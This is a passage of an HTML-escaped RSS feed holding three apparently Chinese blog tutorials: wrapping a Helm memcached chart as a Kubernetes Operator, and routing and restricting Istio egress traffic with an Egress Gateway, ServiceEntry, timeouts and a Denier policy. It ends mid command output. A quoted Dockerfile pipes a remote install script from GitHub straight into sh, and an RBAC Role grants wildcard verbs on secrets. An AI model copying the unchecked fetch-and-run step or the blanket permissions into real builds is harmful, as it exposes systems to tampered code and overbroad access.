&lt;p&gt;&lt;a href=&#34;https://blog.fleeto.us/post/operator-for-kubernetes/&#34; target=&#34;_blank&#34;&gt;Operator 是一种将传统运维思路转换为 Kubernetes CRD 控制的方法&lt;/a&gt;，利用 CRD 对软件部署和配置进行定义，整个部署和管理过程在 Kubernetes 角度上来看，都是一个可见、可审计的行为，这无疑对运维工作是大有裨益的。&lt;a href=&#34;https://github.com/operator-framework&#34; target=&#34;_blank&#34;&gt;CoreOS 也提供了 Operator Framwork&lt;/a&gt; 用于进行 Operator 的开发，不过门槛还是稍高的。如果放低要求，是否能有一个折衷方案？&lt;/p&gt;

&lt;p&gt;CoreOS 为&lt;a href=&#34;https://www.helm.sh/helm-enters-the-cncf/index.html&#34; target=&#34;_blank&#34;&gt;最近加入 CNCF 的 Helm&lt;/a&gt; 提供了一个小工具，可以无需编程操作，较为方便的将 Helm Chart 转换为 Operator，并将原有的 &lt;code&gt;values.yaml&lt;/code&gt; 更替为 CR 资源进行操作，对于无状态应用的部署流程，可以说是比较便利了。下面就随便举个例子，看看这马甲是怎么换的。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;目前版本相当幼稚，看看就好了。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&#34;准备工作&#34;&gt;准备工作&lt;/h2&gt;

&lt;p&gt;首先是一个可操作的 Kubernetes 集群，要求版本为 1.9+。
接下来要有一个可操作的 Helm 客户端（无需 Tiller 部署），用于下载 Chart。&lt;/p&gt;

&lt;p&gt;使用 git 获取 &lt;a href=&#34;https://github.com/operator-framework/helm-app-operator-kit&#34; target=&#34;_blank&#34;&gt;Helm app operator kit&lt;/a&gt;：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ git clone https://github.com/operator-framework/helm-app-operator-kit.git
Cloning into &#39;helm-app-operator-kit&#39;...
...
Resolving deltas: 100% (58/58), done.
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;镜像构建&#34;&gt;镜像构建&lt;/h2&gt;

&lt;p&gt;下载一个实验 Chart &lt;strong&gt;并解压&lt;/strong&gt;：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ helm fetch stable/memcached
$ tar xf memcached-2.2.0.tgz
$ ls -la
...
-rw-r--r--   1 dustise  wheel    680  8 30 11:50 Dockerfile
...
drwxr-xr-x  10 dustise  wheel    320  8 30 11:50 helm-app-operator
drwxr-xr-x   7 dustise  wheel    224  8 30 11:52 memcached
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这里的 Dockerfile 可以略微关注一下：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-dockerfile&#34;&gt;FROM golang:1.10 as builder
...
RUN curl https://raw.githubusercontent.com/golang/dep/master/install.sh | sh
...
RUN CGO_ENABLED=0 GOOS=linux go build -o bin/operator cmd/helm-app-operator/main.go
...
FROM alpine:3.6
...
COPY --from=builder /go/src/github.com/operator-framework/helm-app-operator-kit/helm-app-operator/bin/operator /operator
...
CMD [&amp;quot;/operator&amp;quot;]
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;一个典型的分段构建过程。在 Go 环境中生成可执行文件用于最终镜像的执行。&lt;/p&gt;

&lt;p&gt;使用 Dockerfile 进行构建：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;docker build -t your-repo:25000/helm/memcached-operator \
    --build-arg HELM_CHART=memcached \
    --build-arg API_VERSION=anywhere.io/v1alpha1 \
    --build-arg KIND=memcached .
&lt;/code&gt;&lt;/pre&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;HELM_CHART&lt;/strong&gt;：我们之前解压的 Chart 目录。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;API_VERSION&lt;/strong&gt;：即将用到的自定义资源的 API 组和版本。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;KIND&lt;/strong&gt;：自定义资源名称。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Docker 构建完成之后，将新镜像 Push 到 Kubernetes 可访问的镜像库中。&lt;/p&gt;

&lt;h2 id=&#34;operator-部署&#34;&gt;Operator 部署&lt;/h2&gt;

&lt;p&gt;构建成功之后，进入 &lt;code&gt;helm-app-operator/deploy&lt;/code&gt; 目录，要部署 Operator，首先要修改几个文件。&lt;/p&gt;

&lt;h3 id=&#34;rbac-yaml&#34;&gt;rbac.yaml&lt;/h3&gt;

&lt;p&gt;这是 Operator 运行所需的权限设置文件，根据前面的配置，我们需要给他加入两个权限：namespace 以及新建的 CRD 的操作权限。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;这里的 RoleBinding 只是绑定到了 default 命名空间的 default ServiceAccount，如果要给 Operator Pod 单独赋权，就要对 &lt;code&gt;subject&lt;/code&gt; 进行修改。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;文件编辑结束后，就可以使用 &lt;code&gt;kubectl apply&lt;/code&gt; 提交到集群运行。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;kind: Role
apiVersion: rbac.authorization.k8s.io/v1beta1
metadata:
  name: helm-app-operator
rules:
...
  - secrets
  - namespaces
  verbs:
  - &amp;quot;*&amp;quot;
- apiGroups:
  - apps
  resources:
  - deployments
  - daemonsets
  - replicasets
  - statefulsets
  verbs:
  - &amp;quot;*&amp;quot;
...
- apiGroups:
  - anywhere.io
  resources:
  - &amp;quot;*&amp;quot;
  verbs:
  - &amp;quot;*&amp;quot;
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;crd-yaml&#34;&gt;crd.yaml&lt;/h3&gt;

&lt;p&gt;接下来就是自定义资源的定义了。这里需要和前面我们制定的 API 结构相吻合&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: apiextensions.k8s.io/v1beta1
kind: CustomResourceDefinition
metadata:
  name: memcacheds.anywhere.io # 资源名 + 组名
spec:
  group: anywhere.io # 组
  names:
    kind: memcached # 对象
    listKind: memcachedList #列表
    plural: memcacheds # 复数形式
    singular: memcached # 单数形式
  scope: Namespaced
  version: v1alpha1 # 版本
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;同样的，使用 &lt;code&gt;kubectl apply&lt;/code&gt; 提交这一定义给 Kubernetes 集群。&lt;/p&gt;

&lt;h3 id=&#34;operator-yaml&#34;&gt;operator.yaml&lt;/h3&gt;

&lt;p&gt;这个文件很简单，是一个 Deployment 对象定义，修改一下镜像名即可，如果 &lt;code&gt;rbac.yaml&lt;/code&gt; 中修改了绑定账号，这里也需要修改 Operator 的运行账号。&lt;/p&gt;

&lt;p&gt;最后，用 &lt;code&gt;kubectl apply deploy/operator.yaml&lt;/code&gt;，即可启动 Operator 的运行了。可以使用 &lt;code&gt;kubectl get po -w&lt;/code&gt; 获取运行状况。&lt;/p&gt;

&lt;h2 id=&#34;创建应用实例&#34;&gt;创建应用实例&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;deploy&lt;/code&gt; 目录中还有另外一个文件：&lt;code&gt;cr.yaml&lt;/code&gt;，就是我们的自定义资源实例文件。过去需要在 Chart 的 &lt;code&gt;values.yaml&lt;/code&gt; 中编写的内容，现在需要在这里完成了。通过 &lt;code&gt;helm inspect stable/memcached&lt;/code&gt; 命令，可以看到其中支持的参数列表。这里我们可以设置一下，用来创建一个 3 实例的集群：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: anywhere.io/v1alpha1
kind: memcached
metadata:
  name: memcached-yy
  labels:
    app: example-app
spec:
  replicaCount: 3
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;使用 &lt;code&gt;kubectl apply&lt;/code&gt; 提交之后，可以看到集群上开始创建这一实例：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ kubectl get po
...
helm-app-operator-memcached-yy-0      1/1       Running            0          10h
helm-app-operator-memcached-yy-1      1/1       Running            0          10h
helm-app-operator-memcached-yy-2      1/1       Running            0          10h
...
&lt;/code&gt;&lt;/pre&gt;

&lt;blockquote&gt;
&lt;p&gt;这里 Operator Pod 可能会崩溃，删除即可正常工作😄。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3 id=&#34;查询实例情况&#34;&gt;查询实例情况：&lt;/h3&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;$ kubectl get memcached
NAME           CREATED AT
memcached-r    10h
memcached-yy   10h
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;删除实例&#34;&gt;删除实例&lt;/h3&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;$ kubectl delete memcached memcached-yy
memcached.anywhere.io &amp;quot;memcached-yy&amp;quot; deleted
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;再次使用 &lt;code&gt;kubectl get po&lt;/code&gt;，会发现对应 Pod 已经删除。&lt;/p&gt;

&lt;h2 id=&#34;结语&#34;&gt;结语&lt;/h2&gt;

&lt;p&gt;CoreOS 再次提供了一个有趣的方向，有效的降低了 Operator 的入门门槛。但是这一方案除了成熟度相当不足之外，Helm 本身对运维的支持其实也是非常弱的，对有状态应用是无论如何不能使用这种方式来进行运维的。——马甲，只是马甲。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Istio 大入门——Egress Gateway</title>
      <link>/post/istio-egressgateway-dive/</link>
      <pubDate>Fri, 24 Aug 2018 11:46:24 +0800</pubDate>
      <guid>/post/istio-egressgateway-dive/</guid>
      <description>

&lt;blockquote&gt;
&lt;p&gt;Istio 还是早期版本的时候，我曾经有个蒙事的混蛋设想：在网格里面搭建一个反向代理，用于代理网格甚至是集群之外的存量应用，让这些改不得甚至动不得又正在赚钱的应用，以网格内成员的身份对网格中的微服务提供服务。后来知道了，Istio 的 Egress Gateway 实现了这一混蛋想法。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&#34;原理&#34;&gt;原理&lt;/h2&gt;

&lt;p&gt;根据&lt;a href=&#34;https://istio.io/zh/docs/reference/config/istio.networking.v1alpha3/#gateway&#34; target=&#34;_blank&#34;&gt;官方文档&lt;/a&gt;的解释：&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Gateway 描述了一个负载均衡器，用于承载网格边缘的进入和发出连接。这一规范中描述了一系列开放端口，以及这些端口所使用的协议、负载均衡的 SNI 配置等内容。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;之前的 &lt;a href=&#34;https://blog.fleeto.us/post/istio-egress-dive/&#34; target=&#34;_blank&#34;&gt;Service Entry&lt;/a&gt; 一文中讲到了 ServiceEntry 对象，让网格内部的应用在访问外部应用时，可以使用 &lt;code&gt;VirtualService&lt;/code&gt; 进行部分控制。但是如果我们进一步尝试策略的话，会发现常用的 Denier 等适配器都是无效的（这点并没有经过官方验证）。这里就需要使用刚才说的 Egress Gateway 了。&lt;/p&gt;

&lt;p&gt;根据&lt;a href=&#34;https://istio.io/zh/docs/tasks/traffic-management/egress-gateway/&#34; target=&#34;_blank&#34;&gt;官方示例&lt;/a&gt;介绍，这种方式的基本访问流程是：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;建立 Service Entry 对象，注册外部服务。&lt;/li&gt;
&lt;li&gt;建立 Egress Gateway 注册出口。&lt;/li&gt;
&lt;li&gt;创建 DestinationRule，定义一个到 &lt;code&gt;istio-egressgateway.istio-system.svc.cluster.local&lt;/code&gt; &lt;strong&gt;服务&lt;/strong&gt; 的目标规则。&lt;/li&gt;
&lt;li&gt;创建 VirtualService 对象，这一对象对主机名 &lt;code&gt;edition.cnn.com&lt;/code&gt; 生效：

&lt;ul&gt;
&lt;li&gt;如果流量发生在 &lt;code&gt;mesh&lt;/code&gt; gateway，则把请求转发给 &lt;code&gt;istio-egressgateway.istio-system&lt;/code&gt; 服务。&lt;/li&gt;
&lt;li&gt;如果流量发生在 &lt;code&gt;egress&lt;/code&gt; gateway，则把请求转发到外部。&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&#34;开始之前&#34;&gt;开始之前&lt;/h2&gt;

&lt;p&gt;跟前文一样，需要部署两个版本的 &lt;code&gt;sleep&lt;/code&gt; 服务。源码见后。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;$ istioctl kube-inject -f sleep-v1v2.yaml | kubectl apply -f -
service/sleep created
deployment.extensions/sleep-v1 created
deployment.extensions/sleep-v2 created
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;接下来把两个版本的 Pod 分别保存到环境变量之中。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;$ export SLEEP_V1=$(kubectl get pod -l app=sleep,version=v1 -o jsonpath={.items..metadata.name})
$ export SLEEP_V2=$(kubectl get pod -l app=sleep,version=v2 -o jsonpath={.items..metadata.name})
$ env | grep SLEEP
SLEEP_V2=sleep-v2-69f4fc6c68-s9d96
SLEEP_V1=sleep-v1-d5b4f795f-fcrxs
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;再建立一个 ServiceEntry，完成准备工作。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: networking.istio.io/v1alpha3
kind: ServiceEntry
metadata:
  name: httpbin-ext
spec:
  hosts:
    - httpbin.org
  ports:
    - number: 80
      name: http
      protocol: HTTP
  resolution: DNS
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;设立别名并确认可访问性：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ alias S1_HTTPBIN=&amp;quot;kubectl exec -it $SLEEP_V1 -c sleep -- curl http://httpbin.org/ip&amp;quot;
$ alias S2_HTTPBIN=&amp;quot;kubectl exec -it $SLEEP_V2 -c sleep -- curl http://httpbin.org/ip&amp;quot;
$ S1_HTTPBIN
{
  &amp;quot;origin&amp;quot;: &amp;quot;13.67.109.88&amp;quot;
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;成功返回。&lt;/p&gt;

&lt;h2 id=&#34;创建-gateway-和-destinationrule&#34;&gt;创建 Gateway 和 DestinationRule&lt;/h2&gt;

&lt;h3 id=&#34;建立-gateway&#34;&gt;建立 Gateway&lt;/h3&gt;

&lt;p&gt;这里为域名 &amp;ldquo;httpbin.org&amp;rdquo; 创建一个网关，&lt;code&gt;selector&lt;/code&gt; 字段表明这里使用的是 Egress gateway。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: networking.istio.io/v1alpha3
kind: Gateway
metadata:
  name: httpbin-gateway
spec:
  selector:
    istio: egressgateway
  servers:
    - port:
        number: 80
        name: http
        protocol: HTTP
      hosts:
        - httpbin.org
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;为服务-istio-egressgateway-创建一个目标规则&#34;&gt;为服务 &lt;code&gt;istio-egressgateway&lt;/code&gt; 创建一个目标规则&lt;/h3&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: networking.istio.io/v1alpha3
kind: DestinationRule
metadata:
  name: dest-rule-httpbin
spec:
  host: istio-egressgateway.istio-system.svc.cluster.local
  subsets:
    - name: ext
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;上面的 &lt;code&gt;host&lt;/code&gt; 字段使用了 &lt;code&gt;istio-egressgateway&lt;/code&gt; 的 FQDN，指向 &lt;code&gt;istio-system&lt;/code&gt; 命名空间。&lt;/p&gt;

&lt;h2 id=&#34;创建-virtualservice&#34;&gt;创建 VirtualService&lt;/h2&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: networking.istio.io/v1alpha3
kind: VirtualService
metadata:
  name: vs-httpbin
spec:
  hosts:
    - httpbin.org # 这一对象对域名 “httpbin.org” 生效。
  gateways: # 本对象所针对的 Gateway。
    - httpbin-gateway # 前面为 “httpbin.org” 注册的 Egress gateway。
    - mesh # 内置 Gateway，代表网格中的所有 Sidecar
  http:
    - match: # 这一条规则匹配的是 “mesh” Gateway 的流量
        - gateways:
            - mesh
          port: 80
      route: # 如果是 “mesh” gateway 的流量，则转发到 egress 网关服务。
        - destination:
            host: istio-egressgateway.istio-system.svc.cluster.local
            subset: ext
            port:
              number: 80
          weight: 100
    - match:
        - gateways: # 这一条规则匹配的是外发流量
            - httpbin-gateway
          port: 80
      route: # 通过 Service Entry 流向目标的外网流量
        - destination:
            host: httpbin.org
            port:
              number: 80
          weight: 100
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这一对象创建之后，我们再次尝试访问 “&lt;a href=&#34;http://httpbin.org/ip”&#34; target=&#34;_blank&#34;&gt;http://httpbin.org/ip”&lt;/a&gt; ：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ S1_HTTPBIN
{
  &amp;quot;origin&amp;quot;: &amp;quot;10.240.0.41, 13.67.109.88&amp;quot;
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;可以看到访问成功，并且返回地址中因为转发的原因，代入了 Pod IP。&lt;/p&gt;

&lt;p&gt;如果查看 Egress gateway controller 的日志，也会看到这一访问的踪迹：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ kubetail  egress -n istio-system
Will tail 1 logs...
istio-egressgateway-55449548bd-99mvl
[istio-egressgateway-55449548bd-99mvl] [2018-08-25T15:07:29.272Z] &amp;quot;GET /ip HTTP/2&amp;quot; 200 - 0 44 477 473 &amp;quot;10.240.0.41&amp;quot; &amp;quot;curl/7.35.0&amp;quot; &amp;quot;e9cc4d93-7617-9f97-b29e-3411c3b66543&amp;quot; &amp;quot;httpbin.org&amp;quot; &amp;quot;52.73.140.127:80&amp;quot;
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;加入策略限制&#34;&gt;加入策略限制&lt;/h2&gt;

&lt;p&gt;经过上面一番折腾之后，应用对外部网站的请求就有了一段完全在网格内的部分，接下来就可尝试使用策略了。&lt;/p&gt;

&lt;h2 id=&#34;denier&#34;&gt;Denier&lt;/h2&gt;

&lt;p&gt;首先我们尝试编写一个 Denier 策略，只允许 “v2” 版本对 “httpbin.org” 的访问：&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;/strong&gt;：跨命名空间的策略，必须在 “istio-system” 命名空间中创建。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;---
apiVersion: config.istio.io/v1alpha2
kind: denier
metadata:
  name: denysleepv1
  namespace: istio-system
spec:
  status:
    code: 7
    message: Not allowed
---
apiVersion: config.istio.io/v1alpha2
kind: checknothing
metadata:
  name: denysleepv1request
  namespace: istio-system
spec: null
---
apiVersion: config.istio.io/v1alpha2
kind: rule
metadata:
  name: deneysleepv1
  namespace: istio-system
spec:
  match: &amp;gt;-
    source.labels[&amp;quot;app&amp;quot;]==&amp;quot;sleep&amp;quot; &amp;amp;&amp;amp; source.labels[&amp;quot;version&amp;quot;]==&amp;quot;v1&amp;quot; &amp;amp;&amp;amp;
    request.host==&amp;quot;httpbin.org&amp;quot;
  actions:
    - handler: denysleepv1.denier
      instances:
        - denysleepv1request.checknothing
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;创建这一策略之后进行验证：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt; $ kubectl apply -f denier.yaml -n istio-system
denier.config.istio.io/denysleepv1 created
checknothing.config.istio.io/denysleepv1request created
rule.config.istio.io/deneysleepv1 created
$ S1_HTTPBIN
PERMISSION_DENIED:denysleepv1.denier.istio-system:Not allowed
$ S2_HTTPBIN
{
  &amp;quot;origin&amp;quot;: &amp;quot;10.240.0.21, 13.67.109.88&amp;quot;
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;由上面的测试可以看到，策略应用之后。来自 “v1” 的请求被禁止。如果进一步测试还可以发现，“v1” 服务对其他的访问还是可以照常进行。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;补充：1.0.1 中，&lt;code&gt;ServiceEntry&lt;/code&gt; 应该在 &lt;code&gt;istio-system&lt;/code&gt; 中创建。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&#34;频率限制&#34;&gt;频率限制&lt;/h2&gt;

&lt;p&gt;再次失败，等 Issue。&lt;/p&gt;

&lt;h2 id=&#34;源码&#34;&gt;源码&lt;/h2&gt;

&lt;h3 id=&#34;sleep-yaml&#34;&gt;sleep.yaml&lt;/h3&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: v1
kind: Service
metadata:
  name: sleep
  labels:
    app: sleep
spec:
  selector:
    app: sleep
  ports:
    - name: ssh
      port: 80
---
apiVersion: extensions/v1beta1
kind: Deployment
metadata:
  name: sleep-v1
spec:
  replicas: 1
  template:
    metadata:
      labels:
        app: sleep
        version: v1
    spec:
      containers:
      - name: sleep
        image: dustise/sleep:latest
        imagePullPolicy: IfNotPresent
---
apiVersion: extensions/v1beta1
kind: Deployment
metadata:
  name: sleep-v2
spec:
  replicas: 1
  template:
    metadata:
      labels:
        app: sleep
        version: v2
    spec:
      containers:
      - name: sleep
        image: dustise/sleep:latest
        imagePullPolicy: IfNotPresent
---
&lt;/code&gt;&lt;/pre&gt;
</description>
    </item>
    
    <item>
      <title>Istio 小入门 —— ServiceEntry 的对外通信</title>
      <link>/post/istio-egress-dive/</link>
      <pubDate>Mon, 20 Aug 2018 19:44:05 +0800</pubDate>
      <guid>/post/istio-egress-dive/</guid>
      <description>

&lt;p&gt;上一篇讲了一些入口流量的事情，在实际项目运行中，还有另外一类边界流量，就是出口流量，也常被称为 egress 流量。这一篇结合一点实际需求，设计一些常用场景，讲讲服务网格中对外部服务的调用过程。&lt;/p&gt;

&lt;p&gt;这里我们需要几个服务定义，首先是用于模拟客户端服务的工作负载，这里继续使用 &lt;code&gt;dustise/sleep&lt;/code&gt; 镜像。外部我们使用两个网站作为我们的外部服务演示，分别代表 &lt;code&gt;http&lt;/code&gt; 和 &lt;code&gt;https&lt;/code&gt; 两种：&lt;code&gt;http://httpbin.org&lt;/code&gt; 和 &lt;code&gt;https://api.jd.com/&lt;/code&gt;。&lt;/p&gt;

&lt;h2 id=&#34;开始之前&#34;&gt;开始之前&lt;/h2&gt;

&lt;p&gt;根据&lt;a href=&#34;https://istio.io/zh/docs/setup/kubernetes/&#34; target=&#34;_blank&#34;&gt;安装文档&lt;/a&gt;的说明完成 Istio 的部署，这里建议使用 Helm 方式。&lt;/p&gt;

&lt;p&gt;使用的 &lt;code&gt;dustise/sleep&lt;/code&gt; 镜像生成两个负载，使用 &lt;code&gt;version&lt;/code&gt; 标签将负载拆分为 &lt;code&gt;v1&lt;/code&gt; 和 &lt;code&gt;v2&lt;/code&gt; 两个版本。源码见文末。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;$ istioctl kube-inject -f sleep.dual.yaml | kubectl apply -f -
service/sleep created
deployment.extensions/sleep-v1 created
deployment.extensions/sleep-v2 created
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;然后使用环境变量保存新建 Pod 名称：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;export SLEEP_V1=$(kubectl get pod -l app=sleep,version=v1 -o jsonpath={.items..metadata.name})
export SLEEP_V2=$(kubectl get pod -l app=sleep,version=v2 -o jsonpath={.items..metadata.name})
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;创建-serviceentry&#34;&gt;创建 &lt;code&gt;ServiceEntry&lt;/code&gt;&lt;/h2&gt;

&lt;p&gt;首先创建一个 &lt;code&gt;ServiceEntry&lt;/code&gt;，指向 &lt;a href=&#34;http://httpbin.org&#34; target=&#34;_blank&#34;&gt;httpbin.org&lt;/a&gt;：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: networking.istio.io/v1alpha3
kind: ServiceEntry
metadata:
  name: httpbin-ext
spec:
  hosts:
  - httpbin.org
  ports:
  - number: 80
    name: http
    protocol: HTTP
  resolution: DNS
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;然后给 &lt;a href=&#34;https://api.jd.com/&#34; target=&#34;_blank&#34;&gt;api.jd.com&lt;/a&gt; 创建一个 ServiceEntry：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: networking.istio.io/v1alpha3
kind: ServiceEntry
metadata:
  name: jd-api
spec:
  hosts:
  - api.jd.com
  ports:
  - number: 443
    name: https
    protocol: HTTPS
  resolution: DNS
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;发起外部访问&#34;&gt;发起外部访问&lt;/h2&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;$ kubectl exec -it $SLEEP_V1 -c sleep sh
/ # curl http://httpbin.org/ip
{
  &amp;quot;origin&amp;quot;: &amp;quot;168.63.251.242&amp;quot;
}
/ # curl https://api.jd.com
&amp;lt;html&amp;gt;
...
&amp;lt;/html&amp;gt;
/ # curl -v http://api.jd.com
...
&amp;lt; HTTP/1.1 404 Not Found
...
* Connection #0 to host api.jd.com left intact
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;可以看到，已经注册了的主机，可以通过对应的协议来进行访问了，但是如果协议不匹配，也会返回 404 代码。后面的内容，会选择几个常见场景进行演示。&lt;/p&gt;

&lt;h2 id=&#34;服务质量监控&#34;&gt;服务质量监控&lt;/h2&gt;

&lt;p&gt;Istio 提供了很多的指标数据，对于外部服务来说，其服务端并不受控，但是还是可以从客户端获取一定的指标，来判断服务的状态。例如用下面的命令生成负载之后：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;kubectl exec -it $SLEEP_V2 -c sleep -- wrk -d 10m http://httpbin.org/
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;可以在 Grafana 中看到如下的图形：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/httpbin.grafana.png&#34; alt=&#34;grafaba&#34; /&gt;&lt;/p&gt;

&lt;h2 id=&#34;设置超时限制&#34;&gt;设置超时限制&lt;/h2&gt;

&lt;p&gt;外部应用的服务质量通常是不受调用方管理的，为了防止意外超时拖累整体应用，我们可以给外部服务设置一个超时限制，超过这一规则的调用直接中断。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: networking.istio.io/v1alpha3
kind: VirtualService
metadata:
  name: httpbin-service
spec:
  hosts:
  - httpbin.org
  http:
  - timeout: 3s
    route:
    - destination:
        host: httpbin.org
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;应用之后，再次进入 Pod 执行指令访问 &lt;code&gt;http://httpbin.org&lt;/code&gt;：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;$ kubectl apply -f httpbin-timeout.yaml
virtualservice.networking.istio.io/httpbin-service created
$ kubectl exec -it $SLEEP_V1 -c sleep sh
/ # time curl -sSL http://httpbin.org/delay/2 &amp;gt;&amp;gt; /dev/null
real    0m 2.51s
user    0m 0.00s
sys     0m 0.00s
/ # time curl -sSL http://httpbin.org/delay/5
upstream request timeout
real    0m 3.01s
user    0m 0.00s
sys     0m 0.00s
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;上面的测试可以看出，第二次的延迟五秒调用已经返回了超时的结果，并且是在我们的三秒限制之内完成了调用。&lt;/p&gt;

&lt;p&gt;使用 &lt;code&gt;kubectl delete -f httpbin-timeout.yaml&lt;/code&gt; 删除这一定义，进行下一步。&lt;/p&gt;

&lt;h2 id=&#34;仅允许指定源头访问&#34;&gt;仅允许指定源头访问&lt;/h2&gt;

&lt;p&gt;设想我们的网格中，仅有部分应用可以访问一些外部服务，这里我们借用 Istio 的故障注入功能，定义一个 abort 的注入，只允许 &lt;code&gt;sleep:v2&lt;/code&gt; 访问 &lt;code&gt;http://httpbin.org&lt;/code&gt;，其他服务的访问尝试会失败。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: networking.istio.io/v1alpha3
kind: VirtualService
metadata:
  name: httpbin-service
spec:
  hosts:
  - httpbin.org
  http:
  - match:
    - sourceLabels:
        app: sleep
        version: v2
    route:
    - destination:
        host: httpbin.org
  - route:
    - destination:
        host: httpbin.org
    fault:
      abort:
        percent: 100
        httpStatus: 403
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;上面的定义中，我们首先让 &lt;code&gt;sleep:v2&lt;/code&gt; 的筛选条件的请求，转发给 &lt;code&gt;httpbin.org&lt;/code&gt;；而其余流量，则会被注入一个 403 错误。&lt;/p&gt;

&lt;p&gt;我们分别从 &lt;code&gt;sleep:v1&lt;/code&gt; 和 &lt;code&gt;sleep:v2&lt;/code&gt; 服务发起对 &lt;code&gt;httpbin.org&lt;/code&gt; 的访问：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;$ kubectl exec  $SLEEP_V2 -c sleep -- curl -s http://httpbin.org/ip
{
  &amp;quot;origin&amp;quot;: &amp;quot;168.63.251.242&amp;quot;
}
$ kubectl exec  $SLEEP_V1 -c sleep -- curl -s -v http://httpbin.org/ip
*   Trying 52.72.80.190...
...
&amp;lt; HTTP/1.1 403 Forbidden
&amp;lt; content-length: 18
&amp;lt; content-type: text/plain
&amp;lt; date: Wed, 22 Aug 2018 06:20:04 GMT
&amp;lt; server: envoy
